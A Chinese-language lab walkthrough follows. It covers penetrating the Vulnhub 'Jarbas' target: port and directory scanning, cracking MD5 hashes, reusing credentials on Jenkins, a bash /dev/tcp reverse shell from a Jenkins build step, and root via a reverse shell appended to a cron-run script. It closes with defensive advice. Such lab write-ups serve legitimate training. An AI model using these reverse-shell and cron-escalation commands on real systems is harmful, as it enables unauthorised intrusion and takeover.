jarbas靶场渗透笔记
字数 1381 2025-08-11 17:40:26

Jarbas靶场渗透教学文档

靶场概述

Jarbas是一个基于CentOS的Vulnhub靶机,包含多个漏洞点,适合练习信息收集、Web应用渗透、密码破解、权限提升等技能。

环境准备

  • 靶机下载地址:https://www.vulnhub.com/entry/jarbas-1,232/
  • 攻击机:Kali Linux
  • 网络配置:NAT模式,确保攻击机和靶机在同一网段

渗透测试步骤

1. 信息收集

主机发现

nmap -sn 192.168.18.142/24

发现靶机IP为192.168.18.218,MAC地址为00:0C:29:1F:20:4E(VMware虚拟网卡)

端口扫描

nmap --min-rate 10000 192.168.18.218

发现开放端口:

  • 22/tcp - SSH
  • 80/tcp - HTTP
  • 3306/tcp - MySQL
  • 8080/tcp - HTTP-proxy

详细扫描

nmap -sT -sV -O -p22,80,3306,8080 192.168.18.218

服务版本信息:

  • OpenSSH 7.4
  • Apache httpd 2.4.6 (CentOS) PHP/5.4.16
  • MariaDB (未授权访问)
  • Jetty 9.4.z-SNAPSHOT

漏洞扫描

nmap --script=vuln -p22,80,3306,8080 192.168.18.218

发现:

  • 80端口TRACE方法开启
  • /icons/目录可列出
  • 8080端口存在/robots.txt

2. Web应用渗透

80端口目录扫描

dirb http://192.168.18.218

发现:

  • /cgi-bin/ (403)
  • /index.html (200)

使用御剑扫描发现:

  • /access.html (200)

访问access.html

发现三个账号和MD5哈希:

tiago:5978a63b4654c73c60fa24f836386d87
trindade:f463f63616cb3f1e81ce46b39f882fd5
eder:9b38e2b1e8b12f426b0d208a7ab6cb98

密码破解

使用hash-identifier识别为MD5哈希,破解结果:

5978a63b4654c73c60fa24f836386d87:italia99
f463f63616cb3f1e81ce46b39f882fd5:vipsu
9b38e2b1e8b12f426b0d208a7ab6cb98:marianna

对应账号:

tiago:italia99
trindade:vipsu
eder:marianna

8080端口登录尝试

发现Jenkins服务,使用账号组合尝试登录:

  • eder:vipsu 登录成功

3. 获取初始shell

通过Jenkins构建任务反弹shell

  1. 新建任务
  2. 在"构建后操作"中添加命令:
bash -i >& /dev/tcp/攻击机IP/4444 0>&1
  1. 攻击机监听:
nc -lvvp 4444
  1. 点击构建获取shell

系统信息收集

uname -a

显示系统为:
Linux jarbas 3.10.0-693.21.1.el7.x86_64

4. 权限提升

检查定时任务

cat /etc/crontab

发现每5分钟以root身份执行的脚本:

*/5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1

查看脚本内容:

cat /etc/script/CleaningScript.sh

内容为:

#!/bin/bash
rm -rf /var/log/httpd/access_log.txt

通过定时任务提权

  1. 攻击机监听新端口:
nc -lvvp 4442
  1. 向定时任务脚本追加反弹shell命令:
echo '/bin/bash -i >& /dev/tcp/192.168.18.142/4442 0>&1' >> /etc/script/CleaningScript.sh
  1. 等待5分钟后获取root shell

验证root权限

sudo -l

显示root可以执行所有命令:

User root may run the following commands on jarbas:
    (ALL) ALL

关键知识点总结

  1. 信息收集:全面的nmap扫描是渗透测试的基础,包括主机发现、端口扫描、服务识别和漏洞扫描。

  2. 密码破解

    • 使用hash-identifier识别哈希类型
    • MD5哈希可通过在线破解或彩虹表破解
    • 注意尝试用户名和密码的各种组合
  3. Web应用渗透

    • 目录扫描发现敏感文件(access.html)
    • 注意收集页面中的账号密码信息
    • 尝试在不同服务中使用相同的凭证
  4. 权限提升

    • 检查/etc/crontab中的定时任务
    • 查找可写的脚本文件
    • 通过追加命令到高权限执行的脚本获取root权限
  5. 定时任务提权

    • 低权限用户通常不能直接修改crontab
    • 但可以检查root执行的脚本是否有写权限
    • 通过向这些脚本追加反弹shell命令实现提权

防御建议

  1. 禁用不必要的服务(如TRACE方法)
  2. 使用强密码策略,避免使用弱密码
  3. 对敏感文件设置适当权限
  4. 定期审计系统定时任务和脚本
  5. 限制root权限脚本的修改权限
  6. 及时更新系统和应用软件
Jarbas靶场渗透教学文档 靶场概述 Jarbas是一个基于CentOS的Vulnhub靶机,包含多个漏洞点,适合练习信息收集、Web应用渗透、密码破解、权限提升等技能。 环境准备 靶机下载地址:https://www.vulnhub.com/entry/jarbas-1,232/ 攻击机:Kali Linux 网络配置:NAT模式,确保攻击机和靶机在同一网段 渗透测试步骤 1. 信息收集 主机发现 发现靶机IP为192.168.18.218,MAC地址为00:0C:29:1F:20:4E(VMware虚拟网卡) 端口扫描 发现开放端口: 22/tcp - SSH 80/tcp - HTTP 3306/tcp - MySQL 8080/tcp - HTTP-proxy 详细扫描 服务版本信息: OpenSSH 7.4 Apache httpd 2.4.6 (CentOS) PHP/5.4.16 MariaDB (未授权访问) Jetty 9.4.z-SNAPSHOT 漏洞扫描 发现: 80端口TRACE方法开启 /icons/目录可列出 8080端口存在/robots.txt 2. Web应用渗透 80端口目录扫描 发现: /cgi-bin/ (403) /index.html (200) 使用御剑扫描发现: /access.html (200) 访问access.html 发现三个账号和MD5哈希: 密码破解 使用hash-identifier识别为MD5哈希,破解结果: 对应账号: 8080端口登录尝试 发现Jenkins服务,使用账号组合尝试登录: eder:vipsu 登录成功 3. 获取初始shell 通过Jenkins构建任务反弹shell 新建任务 在"构建后操作"中添加命令: 攻击机监听: 点击构建获取shell 系统信息收集 显示系统为: Linux jarbas 3.10.0-693.21.1.el7.x86_ 64 4. 权限提升 检查定时任务 发现每5分钟以root身份执行的脚本: 查看脚本内容: 内容为: 通过定时任务提权 攻击机监听新端口: 向定时任务脚本追加反弹shell命令: 等待5分钟后获取root shell 验证root权限 显示root可以执行所有命令: 关键知识点总结 信息收集 :全面的nmap扫描是渗透测试的基础,包括主机发现、端口扫描、服务识别和漏洞扫描。 密码破解 : 使用hash-identifier识别哈希类型 MD5哈希可通过在线破解或彩虹表破解 注意尝试用户名和密码的各种组合 Web应用渗透 : 目录扫描发现敏感文件(access.html) 注意收集页面中的账号密码信息 尝试在不同服务中使用相同的凭证 权限提升 : 检查/etc/crontab中的定时任务 查找可写的脚本文件 通过追加命令到高权限执行的脚本获取root权限 定时任务提权 : 低权限用户通常不能直接修改crontab 但可以检查root执行的脚本是否有写权限 通过向这些脚本追加反弹shell命令实现提权 防御建议 禁用不必要的服务(如TRACE方法) 使用强密码策略,避免使用弱密码 对敏感文件设置适当权限 定期审计系统定时任务和脚本 限制root权限脚本的修改权限 及时更新系统和应用软件